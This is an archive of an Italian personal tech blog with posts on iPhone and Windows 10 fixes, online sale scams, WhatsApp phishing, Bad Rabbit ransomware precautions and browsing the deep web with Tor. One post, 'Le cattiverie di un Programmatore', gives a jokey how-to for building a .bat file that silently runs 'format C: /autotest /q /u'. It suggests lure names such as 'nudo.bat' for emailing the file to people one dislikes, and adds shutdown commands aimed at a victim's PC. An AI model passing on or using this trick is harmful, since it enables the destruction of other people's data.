Archivio della categoria: Computer

Allarme virus Iphone.

Questo e’ il simbolo indiano “telegu” che blocchera’ o ha gia’ bloccato il vostro Iphone.

Se siete gia’ stati contagiati, risolvete aggiornando il sistema operativo iOs alla versione 11.2.6.

Questa versione e’ stata rilasciata ieri 21 febb 2018 e include diverse correzioni di errori tra cui la chiusura inattesa delle app con alcune sequenze di carattere e un problema per cui alcune app di terze parti non erano in grado di connettersi agli accessori esterni.

Per eseguire l’aggiornamento selezionate “Impostazioni”, poi andate su “Generali” e cliccate su “Aggiornamento software” e tutto si sistemera’.

Aggiornamento a Windows 10 nel 2018.

Non so per quale motivo volete lasciar la via vecchia che funge perfettamente con la nuova ma ad ogni modo a tutt’oggi (ndr per mia sorella proff dott con il pronome indefinito tutto soggetto a elisione prima dell’avverbio oggi e’ la forma esatta e normalmente io avressi scritto tuttoggi) potrete ancora passare gratuitamente a Windows 10 partendo da una copia regolarmente attivata di Windows 7 o di Windows 8.1.

Per aggiornare a Windows 10 gratis, basta prelevare questo tool e avviarlo su Windows 7 o Windows 8.1.

Occhio che potrebbe sorgere un problema su Windows 7 ovviamente aggiornato con tutte le patch rilasciate da Microsoft, in quanto potrebbe apparire l’ errore sull’assenza del file

api-ms-win-core-libraryloader-l1-1-1.dll.

Nessun problema e ite nella cartella

c:\windows\system32,

selezionate e copiate il file wimgapi.dll nella cartella c:\Windows10Update.
Confermate la sovrascrittura dell’omonimo file gia’ presente riavviate lo strumento per l’aggiornamento a Windows 10 (tecnologie assistive).

Cosi’ facendo l’aggiornamento aggiornamento potra’ esser eseguito ma ricordatevi che mio nonno diceva.. chi lascia la via vecchia per la nuova sa cosa perde ma non sa cosa quel che trova.

Windows10 – Edge, Cortana, MenuStart non fungono?

E ci risiamo e’ arrivato l’aggiornamento 1709 lo avete scaricato e installato e non vi funziona il menu’ Start, lo Store oppure Cortana non risponde ed Edge non apre le pagine..any problem, evitate di cercare in uno dei miei post precedenti o di fare la domanda ai motori, voi sapete che gli avvoltoi vi aspettano al varco e quindi non fatevi fregare dagli altri ma fatevi fregare da me (questa l’ho gia’ sentita)..prima cosa dovreste verificare cercare l’errore nel visualizzatore degli eventi ma evito di descrivere come dovreste fare in quanto se leggete e’ perche’ il vostro pc e’ a mezzo servizio e cerco di indicarvi come fare sapendo che avete gia’ tentato di tutto e quindi tentate anche cosi’:
1- Da Windows, premete insieme i tasti Windows-X e, nel menu che compare, aprite il Prompt dei comandi come amministratore. (Windows PowerShell per intenderci).
Adesso digitate quindi i seguenti comandi in questo ordine, premendo invio dopo ciascuno di essi.net user “Temp1” “password1” /add
net user “Temp2” “password2” /add
net localgroup administrators “Temp2” /add
In questo modo avrete creato due account utente nuovi, con nome Temp1 e Temp2, ed assegnato il ruolo amministratore a Temp2.
Fin qui ci siamo? Si continua …
2) Premete ora insieme i tasti CTRL+ALT+Canc e cliccate su “Disconnetti“.3) Entrate in Windows usando ora l’account Temp1 usando come password, password1 .
Una volta terminato il caricamento e comparso il desktop, controllate che tutto funzioni correttamente compresi il menu Start e la ricerca, uscite dall’account come fatto nel punto 2, usando il “Disconnetti“.4) Accedete ora a Windows con l’account Temp2 la cui password di accesso e’ password2
Adesso aprite una cartella di Edge, andate al menu in alto Visualizza e, sulla destra, selezionate l’opzione “elementi nascosti“.
Aprite ora la seguente cartella C:\Users\Temp1\Local\TileDataLayer (cliccate su Continua quando viene richiesta l’autorizzazione).
Clickate col tasto destro sulla cartella “Database” e click su Copia.
Aprite ora la stessa cartella, questa volta del vostro profilo utente originale, ossia C:\Users\nome-utente\Local\TileDataLayer
Cliccate col tasto destro su Database e rinominate questa cartella in Database.old .
Non muovetevi da questa posizione, premete col tasto destro del mouse sul vuoto della cartella e poi cliccate su Incolla.
Avrete quindi preso la cartella Database del nuovo profilo copiandola in quello originale, rinominando la cartella Database dove ci sono file danneggiati.5) Riavviate il computer, accedete col vostro account originale e tutto dovrebbe tornare apposto.
Il menu Start dovrebbe ora funzionare bene cosi’ come la ricerca, Cortana, Edge e le Impostazioni.

6) Cancellate gli account utente Temp1 e Temp2 dal Pannello di Controllo, alla sezione Account Utente.

Ci si legge al prox guaio e come consiglio finale se non lo avete gia’ fatto, togliete le App preinstallate che sono in Windows10 quelle che vedete nel menu start e non sono nella lista programmi, sto minchisterio serve a ‘na mazza e quindi col destro sulla tessera e DISINSTALLATE e mi riferisco a Xbox, Candy Crush, 3D Builder, Saga Soda, Scarica Skype, Ottieni Office.

E adesso torniamo ai fatti attuali visto dallo Ste in aria elettorale.

Castigatori Online.

E adesso vi spiego come fanno a castigarvi con le vendite online.

Condiderato che una buona parte sono melaphoninodipendenti ecco che esce il modello X e voi avete l’8 che e’ tutto sommato recente e quindi per non perder troppi eurini FATE L’INSERZIONE ON LINE mettendo in evidenza caratteristiche foto etc.

Il CASTIGATORE quando vede inserzioni oltre i 300 si mette in moto e letta la VOSTRA inserzione ne fa una uguale richiedendo la stessa cifra e nel contempo VI CONTATTA e chiede i dati per pagarla e per lui e’ indifferente se by PayPal PostePay o Bonifico Bancario.

VOI contenti come Pasque comunicate quanto richiesto e aspettate fiduciosi di veder apparire il carico del dinero.

Nel contempo qualcuno risponde all’annuncio del CASTIGATORE e questultimo dara’ i VOSTRI DATI che gli avete comunicato.

VOI una volta constatato che effettivamente il conto e’ stato caricato, ligi al dovere di buon venditore onesto, spedite immediatamente il melaphonino posto sulla vostra inserzione.

Il danno e’ fatto e il CASTIGATORE ha ricevuto il vostro cellulare senza pagare un ghello in quanto l’ha pagato il castigato di turno.

Il CASTIGATO lascia passare qualche tempo e non ricevendo la merce fara’ il suo bravo reclamo lasciando nei casini VOI e ovviamente del CASTIGATORE nessuna traccia in quanto le sue iscrizioni porteranno a indirizzi fasulli e a numeri telefonici inesistenti.

Ovviamente ci sono delle garanzie a salvaguardia ma il mio consiglio e’ quello DEL vecchio sistema CON pagamento a ricevimento merce contrassegno ma anche qui esiste l’inghippo..lo spedizioniere non aspetta che voi apriate il pacco e quindi potreste trovare nel PACCO il classico mattoncino e come soddisfazione potrete solo lasciare feedback negativo di qualcuno che ormai sara’ ghostcastigatore.

Quindi diffidate su newentry come venditore/acquisitore e prediligete quelli che hanno telefono fisso e come diceva mio nonno..chi piu’ spende meno spende alla faccia dell’incremento svendite online.

nb.. rimane il fatto che non dovrei dare dei consigli in quanto saprete sbagliare da soli e pure io le mie brave fregature le ho cuccate ma le soddisfazioni di aver cercato e trovato chi mi ha legnato mitigano in parte le castigate che comunque sono rimaste e bruciano ancora.

Ingrandire pagine web.

Ho notato che molti di voi si impiantano nelle letture del web non sapendo che si possono ingrandire e diminuire i caratteri con poche manovre, senza incriccare la visione normale dei caratteri e quindi mo’ vi dico come ingrandire i caratteri della pagina:

Premere la combinazione di tasti[CTRL] [+] (piu’)
Ovvero e scusa se di do del te ma mi viene comodo, potrei dare anche del voi ma solamente se sei donna incinta…,
1 – premi e tieni premuto il tasto [CTRL]
2 – premi il tasto [+]
Esegui il comando piu’ volte, fino a raggiungere le dimensioni desiderate.
Prova ora a diminuire i caratteri


Premi la combinazione di tasti
[CTRL] [-] (meno)
Ovvero,
1 – premi e tieni premuto il tasto [CTRL]
2 – premi il tasto [-]
Esegui il comando piu’ volte, fino a raggiungere le dimensioni desiderate.

Adesso vuoi ripristinare la pagina alle sue dimensioni originali?

Premi la combinazione di tasti[CTRL] [0] (zero)
Ovvero,

1 – premi e tieni premuto il tasto [CTRL]
2 – premi il tasto [0].

Se sei turu e vuoi utilizzare il mouse..

con una mano,– tieni premuto il tasto [CTRL]
con l’altra mano,
– scorri la rotellina del mouse verso l’alto per ingrandire
oppure,
 

– scorri la rotellina del mouse verso il basso per rimpicciolire.

Occhio che in alcuni browser (come Google Chrome) la dimensione impostata con questo metodo (da tastiera o in combinazione con il mouse), rimane tale anche dopo aver chiuso il programma, quindi CTRL + 0 (zero) prima di chiudere oppure non fare nulla e continua ad usare la lente d’ingrandimento virtuale o reale che sia.

Ovviamente il discorso era sui portatili in quanto col melafonino occorre fare il percorso impostazioni>generali>accessibilita’ e selezionare la grandezza che vi pare.

Gli androidiani invece impostazioni>schermo> e selezionare dal molto piccolo al molto grande.

Per oggi basta cosi’.

Truffa WhatsApp

Gentile Cliente, Attenzione! Il tuo account WhatsApp Messenger e scaduto. La registrazione non e stata rinnovata scade entro 24 ore, per rinnovare il tuo WhatsApp Messenger 0,99 euro, grazie a seguire il link di rinnovo. Rinnova il tuo WhatsApp Messenger. Si prega di rinnovare il più presto possibile per evitare la perdita di tutti i media ,immagini, video, storico. Verifica

l’avete ricevuto?

Bloccate questa catena di sancazzate e non cliccate sui link in cui solitamente i castigatori fanno richieste di dati personali e soprattutto bancari.

Il fatto e’ che in molti stanno ancora abboccando e a questi boccaloni ritorno a dire che WhatsApp utilizza specifici canali di aggiornamento, vedi Apple Store per chi ha il melafonino e il Goople play per chi e’ Androidizzato.

Quindi come ricevete questo messaggio blacklistatelo e via andare senza incorrere nella catena sopraccitata per avvisare amici e non.

Se ci siete cascati il consiglio spassionato e’ di bloccare la vostra carta e se avete tempo e soldi rivolgetevi all’Escopost, alias Polizia Postale e vi do il link per cominciare la Via Crociata con la Webdenuncia e nel contempo rinnovo il consiglio di mio nonno che recita testualmente.. se te lo mettono nel biip..non ti muovere e se vogliono godere lascia che si muovano essi stessi.

Ed ora vediamo veramente chi non potra’ piu’ utilizzare whatsapp dopo il 31 dicembre 2017..

Copio e incollo quel che dice il gestore:

Arrivano brutte notizie per chi ha un vecchio smartphone, perchè dopo il 31 dicembre whatsApp verrà eliminato per queste piattaforme.

Dopo il 31 dicembre 2017 su diverse piattaforme il popolare social smetterà di funzionare: BlackBerry OS, BlackBerry 10, Windows Phone 8.0 e versioni precedenti.

In realtà sulle piattaforme interessate whatsApp doveva smettere di funzionare il 31 dicembre 2016, ma poi facebook decise di dare una proroga di un anno, adesso è definitivo, non ci saranno più ripensamenti.

BlackBerry OS e BlackBerry 10 fino al 31 dicembre 2017

Windows Phone 8.0 e precedenti fino al 31 dicembre 2017
Nokia S40 fino al 31 dicembre 2018
Android versioni 2.3.7 e precedenti fino al 1 febbraio 2020

Questo non significa che smetterà di funzionare, la popolare chat per gli smartphone non sarà più sviluppata per queste piattaforme, whatsApp continuerà a funzionare, ma alcune funzioni attuali e future non saranno più possibili, e se ci sono bug, è inutile aspettare aggiornamenti, perchè non ci saranno.

Le cattiverie di un Programmatore.

Considerato che la lunga siccita’ e’ finita mi sento in vena di far danni sotto una pioggia che cerchera’ di spegnere i focolai della valle mentre in piazza ci stanno 4 o 5 persone pernonsocosa e saltando di frasca in palo, per far capire quanto e’ semplice e pericoloso leggere le mail, posto per chi condivide i miei sentimenti bellici due dritte o tre per azzerare un computer di chi vi sta sul biip formattando il suo Hdisco C con poche manovre..donc.. uscite le umbrella e dateci dentro col picci..fate come io…

1) Apro il blocco note
2) scrivo
formatC: /autotest /q /u

Salvo con un nome accattivante secondo la persona a cui mandero’ la posta con estensione .bat

Ad es:

eccomi.bat (se so’ che esiste curiosita’ di vedere il togo tuentinain).

ilmiocane.bat (se la vittima e’ amante di animali amici dell’uomo).

nudo.bat (se e’ amante di altre cose a.mene).

tutto_sul_condominio.bat (questa e’ per il condomino del 5° piano).

come_fare-il_tecnico (per il pistola che dico io).

e la invio a chi voglio male e fa’ l’equilibrista (nel senso che mi sta’ sulle palle)…

Per spiegare il /q (significa,senza chiedere conferma) e il /u (significa, non permettere di essere bloccata la mia manovra distruttiva)..

Chi lo ricevera’, aprendoli si trovera’ il computer azzerato di tutto..di un bel nero che piu’ nero non si puo’..nemmeno col candeggio contrario e nn pretendo alcun bitcoin.

Se invece mi sento magnanimo e voglio sconnettere il suo PC, riavviarlo per poi spegnerlo definitivamente, vado ancora nel blocco note inserisco il seguente codice..shutdown –(comando) e lo salvo in bat..al posto della parola tra parentesi mettero’ ovviamente senza parentesi:
a)
-i : Attivo l’interfaccia utente grafica (shutdown –i )

b) -l : Disconnetto l’utente (shutdown –l)
c)
-r : Riavvio il PC (shutdown –r)
d)
-s : Spengo il computer (shutdown –s)
e)
-t 45 (dove 45 sono i secondi di attesa prima della chiusura di Windows e darete cosi’ il tempo col conteggio alla rovescia alla vittima per dire una preghiera prima della fine). (shutdown –t 45)

f) -f : Chiudo le applicazioni ancora aperte (shutdown –f)

Semplice vero? Dagli amici mi guardi Iddio.. che a xXxX ci penso io.

ps.. nn mi chiedete di aggiustarvi il pc in quanto sapete come scassarvelo da soli e cercate di non seguire il mio scritto italcarliano…ehmm.. ringrazio per il 1mastico di ieri e stavo dimenticando la liturgia odierna del five november secondo togotuentinain. Mi rivolgo ai giovani farisaici che vivono o vegetano per farsi notare 24H sui social da quando si lavano i denti a quando vanno a letto e fanno un continuo mostrare di se’ e delle cose che fanno, anche futili e talvolta stupide pur di farse notare…

finito il predicozzo in fase mozza e senza senso, vi lascio alla striscia del buon Ste che vive di politica e..vive bene

Bad Rabbit in arrivo.

Allora ci risiamo con i craccatori che anziche’ fare attacchi infilando virus con mail o allegati utilizzano banner pubblicitari o siti internet. (Lella occhio ai vari Buongiorno, Buonasera, Buonanotte).

Per quanto si sa il nuovo ransomware sembra sia arrivato con richiesta di aggiornamento Flask Player e il malcapitato che effettueraì lo scarico otterra’ un codice malevolo denominato “infopub.dat”.

Il file utilizzera’ un primo tool in grado di svelare la password di login del PC e un secondo tool denominato DiskCryptor avente lo scopo di criptare l’intero PC senza alcuna possibilita’ (se non pagando) di ri-ottenere i propri dati personali.

Il processo si conclude con una schermata che mostra l’avvenuto attacco la quale integrera’ un timer scaduto il quale viene formattata l’intera 

macchina.

 

Quindi fate attenzione altrimenti sarete costretti a sborsare i classici 300 eurini da pagare rigorosamente con moneta Bitcoin altrimenti con la criptazione dei vostri file potrete dare addio agli stessi.

Questo Ramsomware e’ stato battezzato coniglio cattivo, al secolo Bad Rabbit e cercate di starne alla larga in quanto vi daranno 40 ore di tempo posdiche’ la cifra del riscatto aumentera’ in modo esponenziale.

Una precauzione e’ quella di creare i file:

c:\windows\infpub.dat

c:\windows\cscc.dat

e rimuovere TUTTE le autorizzazioni, in modo che non possano andare in esecuzione e rimuovere l’ereditarieta’ dai due file in questione, una volta copiati in c:\windows.

Dai vado ad aiutare in valle e lascio spazio al buon Stefano.

In Verde le rotte dei Canadair che scaricano acqua ma qui la situazione e’ davvero brutta

 

Deep Web.

Oggi con l’aiuto di Wikihow affronto l’argomento Worl Wide Web e relativi motori di ricerca. Per sensibilizzare il navigatore occorre sapere che chi utilizza il classico Google e’ soddisfatto dei 2 miliardi di dati non sapendo che questi rappresentano l’1 % dei dati esistenti classificati sommersi (Deep Web) e quindi per chi e’ digiuno di conoscenza informatica cerchero’ di edurlo portandolo in un mondo di pagine web a contenuto dinamico con software e siti privati molto utilizzati da border navigatori che sfociano nel Dark Web e da comunita’ super segrete che si rifugiano li’ per evitare l’identificazione da parte delle autorita’.

Comincio col cercare i Database del Deep Web

Trova dei database con un normale motore di ricerca. Puoi usare un normale motore per cercare “database natura”, “database hip hop” o termini simili. Dal momento che e’ possibile ottenere informazioni in questi database solo digitando un termine di ricerca, e non seguendo un link, la maggior parte dei bot dei motori di ricerca non possono trovarle, e questo le rende parte del “deep web”. Il motore di ricerca puo’ comunque portarti alla pagina principale del sito pero’, dove potrai usare la barra di ricerca per trovare quello che desideri. Degli esempi gratuiti o parzialmente gratuiti includono Science.gov, FreeLunch per dati economici.

Cerca ora i Database del Deep Web

Usa una ricerca specializzata per i database. I siti come The Internet Public Library, DirectSearch, e Infomine offrono una

collezione di link a database e altre fonti di informazioni di alta qualita’. Puoi anche visitare searchengineguide.com per trovare un motore di ricerca specializzato in database e informazioni su uno specifico argomento.

Fai delle ricerche usando il computer di una biblioteca. Le biblioteche, in particolare quelle delle universita’, spesso si iscrivono a molti database a pagamento, che contengono informazioni che non e’ possibile trovare con i normali motori di ricerca. Chiedi al personale a quali database hanno accesso. Potresti essere in grado di accedere a questi database usando le credenziali della tua scheda della biblioteca, ma questo dipende dalla biblioteca e dal proprietario del database

Sfoglia l’Internet Archive. Il progetto Internet Archive cerca di raccogliere informazioni digitali per conservarle a lungo termine. Sfoglia la sua ampia collezione per trovare archivi di siti web che sono scomparsi, video a audio difficili da trovare e persino copie di vecchi sistemi di videogiochi.

Cercare sulla Rete Tor

Impara a conoscere la rete Tor. Quest’area del deep web, in alcuni casi definita Dark Net, viene usata per scambi, conversazioni e informazioni che gli utenti vogliono mantenere privati. Gli utenti devono usare un programma chiamato Tor per accedere a questa regione del web, visitando siti web con il dominio “.onion”. Anche se molte di queste attivita’ sono illegali o al limite della legalita’, si tratta di siti utilizzati anche dai giornalisti per parlare con fonti anonime e dalle persone che apprezzano il concetto di un internet ultra privato. Accedere a questa area del deep web e’ legale, anche se questo non vale per le attivita’ a cui puoi prendere parte al suo interno.

Scarica il browser Tor. Si tratta di un programma gratuito che ti permette di connetterti alle pagine web in modo anonimo, e questo rende molto difficile per chiunque registrare la tua attivita’ internet se segui le dovute precauzioni. E’ possibile accedere a molte comunita’ deep web solo attraverso la rete Tor, dal momento che si fondano su anonimato, privacy e segretezza. Scarica il browser Tor da qui per iniziare ad accedere alla rete.

Le pagine web sulla rete Tor non sono stabili e spesso non sono raggiungibili per ore, giorni o per sempre. Il caricamento inoltre puo’ essere lento, dal momento che Tor fa rimbalzare la tua connessione sui computer di altre persone per proteggere il tuo anonimato.

Anche se esiste una versione del browser Tor per Android and iOS, non si tratta di programmi sicuri o consigliati. Allo stesso modo, anche i componenti aggiuntivi Tor per gli altri browser non sono sicuri e solitamente non sono supportati dall’organizzazione Tor.

Proteggi il tuo anonimato.

Ripeto che accedere alla rete deep web di Tor e’ legale, ma molte persone sfruttano l’anonimato per prendere parte ad attivita’ illegali. Prendere queste precauzioni e’ fortemente raccomandato per evitare attacchi al computer o di essere rintracciato dalle forze dell’ordine:

Fai click sull’icona “S” a sinistra della barra degli indirizzi del browser Tor, e fai click su “Proibisci gli scripts globalmente.”

Attiva il firewall di Windows o del tuo Mac.

Copri la web cam del tuo computer con del nastro.

Non scaricare mai un file da una pagina web Tor, neppure un file .doc o .pdf. La condivisione torrent non e’ particolarmente sicura.

 

Inizia con un’introduzione al deep web. Uno dei siti piu’ popolari della comunita’ deep web e’ The Hidden Wiki, The Hidden Wikihe raccoglie link del deep web che puoi visitare. Puoi anche chiedere a comunita’ del “surface web” (l’internet normale a cui siamo abituati) istruzioni e consigli attuali. Prova a chiedere sui subreddits  /r/Tor.

E’ possibile accedere alla maggior parte dei link deep web di questa sezione solo con Tor e non con i browser ordinari.

Usa non motore di ricerca deep web. Il deep web e’ appositamente difficile da esplorare e mantenere, percio’ questi motori di ricerca potrebbero non essere efficaci quanto quelli ordinari. Per trovare piu’ risultati, provane piu’ di uno, come Torch, TorSearch, e Ahmia.

Se stai cercando un sito deep web molto conosciuto, spesso troverai un collegamento anche su un motore di ricerca come Google.

Usa servizi specializzati in deep web. Anche se il deep web e’ famigerato per le attivita’ illegali svolte al suo interno, ospita anche dei siti legittimi. Alcuni si basano su concetti familiari, come la condivisione delle immagini. Altri sono piu’ caratteristici della cultura deep web, come sitisullo scambio di informazioni sicure e raccoltedi eBook dedicati a opere sovversive.

 

Parla con gli abitanti del deep web. Quest’area del deep web perde continuamente siti importanti, in parte a causa della scoperta di attivita’ illegali, e in parte perché molti dei siti sono creati da singoli o piccoli gruppi di persone che non hanno grandi disponibilità economiche. Per trovare i siti che li hanno sostituiti o ne hanno ereditato la popolarita’, parla con altri utenti usando OnionChat.

Consiglio Finale

Esistono dei motori di ricerca verticali per tipi specifici di contenuto, ad esempio http://www.findthatfile.com e’ un motore “specifico per i file”, in grado di trovare file binari da tutti i tipi di fonti. Detto questo ripeto di fare attenzione alla navigazione della parte sommersa e soprattutto non scaricate nulla e se siete sensibili a foto cruente continuate le vostre ricerche col Google.

Inserite Windows10.

Terminate le ferie? Volete provare i danni infilandovi il SO di Windows10 cosi’ almeno poi passerete a Linus? Vabbuo”…fatti vs e continuate la lettura.

Innanzitutto sappiate che installando Windows 10 da zero il setup non si conclude al botto ma sono frequentemente richieste mignottevoli a cui voi dovrete rispondere e il che a volte vi lascera’ qualche dubbio..lo faccio o non lo faccio? E se lo faccio mi castighera’?

Well ora vedo di postare sul come fare e non e’ opera mia completa se non la solo ricerca che potreste fare tranquillamente in rete..ma..esiste un ma e molte volte vi potrebbero incappellare i soliti lamer e quindi non fatevi fregare dagli altri ma fatevi fregare da me..amunt..a Vs rischio e pericolo continuate sapendo che..
l’installazione unattended di Windows, e’ possibile non soltanto con Windows 10 ma anche con le precedenti versioni oltre che con i sistemi Server e permette di specificare preventivamente – mediante l’utilizzo di un file apposito che vi dara’ una mano per la configurazione del sistema operativo sulla macchina.
Per installare Windows 10 automaticamente, e’ sufficiente seguire una semplice procedura.. cuccate una chiavetta sui 32

dopo aver creato il supporto d’installazione di Windows utilizzando il Media Creation Tool, bastera’ inserire – nella chiavetta USB – un file di testo che conterra’ tutte le preferenze per il setup automatizzato.

  1. Quindi potete scaricare ed eseguire l’ultima versione del Media Creation Tool cliccando sul pulsante Scarica ora lo strumento.

  2. Avviate ora il Media Creation Tool, accettate la licenza d’uso e scegliete Crea supporti di installazione (unità flash USB, DVD o file ISO) per un altro PC.

  3. Scegliete lingua, edizione e architettura corretti. Con tutti i sistemi di piu’ recente fattura, si dovra’ selezionare la versione a 64 bit di Windows 10 dal menu a tendina Architettura.

  4. Alla comparsa della schermata seguente, selezionate Unità flash USB, collegare una chiavetta USB al PC in uso, attendete qualche secondo quindi un bel clik su Avanti.

  5. Ora assicuratevi che sia stata selezionata la lettera identificativa di unita’ corrispondente alla chiavetta USB da usare (occhio che deve esser pulita altrimenti il suo contenuto sara’ rimosso e quindi perdita di tutti i dati).

  6. Attendete che i file necessari per l’installazione dell’ultima versione di Windows 10 siano automaticamente scaricati e inseriti nella chiavetta USB indicata.

  7. Potete anche buttare l’occhio sul sito Windows Answer File Generator e modificare le informazioni proposte.
    In figura (scorrete fino in fondo…) un esempio di possibile configurazione:

  8. Oltre all’eventuale impostazione del Product Key (Windows 10 dovra’ poi essere successivamente attivato a meno che non si disponga di un diritto digitale), della lingua, del layout di tastiera, del formato di data e ora, ed e’ bene porre massima attenzione sulle voci riportate in corrispondenza di Partition settings.Con le impostazioni predefinite, Windows 10 cancellera’ tutto il contenuto del disco principale e carichera’ i propri file.

    Attenzione anche alla sezione User account.. qui si puo’ aggiungere e configurare automaticamente un account amministratore.

    L’impostazione UAC dovrebbe essere mantenuta attiva (Enabled) e l’Auto logon puo’ essere o meno abilitato a seconda che si voglia consentire l’accesso automatico all’account utente impostato.

    Cliccate infine su Download file per scaricare il file autoattend.xml.

    Copiate il file autoattend.xml nella cartella radice della chiavetta USB in cui si sono caricati i file d’installazione di Windows 10 con il Media Creation Tool.

  9. A questo punto, la chiavetta USB potra’ essere utilizzata per installare Windows 10 da zero.

    A installazione ultimata, il nome del computer impostato nel campo Computer name dovra’ essere modificato per evitare conflitti.
    Per procedere, bastera’ premere la combinazione di tasti Windows+R, inserire sysdm.cpl e cliccare su Cambia.

    Bon..siete a posto e adesso son fatti vostri e ricordatevi che Linus e’ sempre li che vi aspetta..

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